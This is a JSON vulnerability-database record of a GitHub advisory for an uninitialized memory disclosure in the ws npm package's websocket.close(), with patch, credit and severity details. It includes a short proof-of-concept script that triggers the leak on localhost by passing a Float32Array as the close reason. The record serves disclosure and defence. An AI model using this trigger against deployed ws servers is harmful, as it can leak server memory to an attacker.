{"id":"GHSA-58qx-3vcg-4xpx","revision":"44496eee30bb4715a2bb458d68792e5d","records":[{"revision":"44496eee30bb4715a2bb458d68792e5d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-58qx-3vcg-4xpx","aliases":["CVE-2026-45736"],"title":"ws: Uninitialized memory disclosure","description":"### Impact\n\nThe `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument.\n\n### Proof of concept\n\n```js\nimport { deepStrictEqual } from 'node:assert';\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer(\n  { port: 0, skipUTF8Validation: true },\n  function () {\n    const { port } = wss.address();\n    const ws = new WebSocket(`ws://localhost:${port}`, {\n      skipUTF8Validation: true\n    });\n\n    ws.on('close', function (code, reason) {\n      deepStrictEqual(reason, Buffer.alloc(80));\n    });\n  }\n);\n\nwss.on('connection', function (ws) {\n  ws.close(1000, new Float32Array(20));\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).\n\n### Credits\n\nCredit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR).\n\n### Remarks\n\nAlthough the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.\n\n### Resources\n\n- https://github.com/advisories/GHSA-58qx-3vcg-4xpx\n- https://www.cve.org/CVERecord?id=CVE-2026-45736","state":0,"publishedAt":"2026-05-18T19:02:40+00:00","modifiedAt":"2026-09-10T03:51:04.5725147+00:00","affected":[{"ecosystem":"npm","name":"ws","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.20.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx","https://nvd.nist.gov/vuln/detail/CVE-2026-45736","https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086","https://github.com/websockets/ws"],"sourceUrl":"https://github.com/advisories/GHSA-58qx-3vcg-4xpx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-58qx-3vcg-4xpx","identifiers":["GHSA-58qx-3vcg-4xpx","CVE-2026-45736"]},"retained":false,"historicalAffected":[]}],"coverage":[]}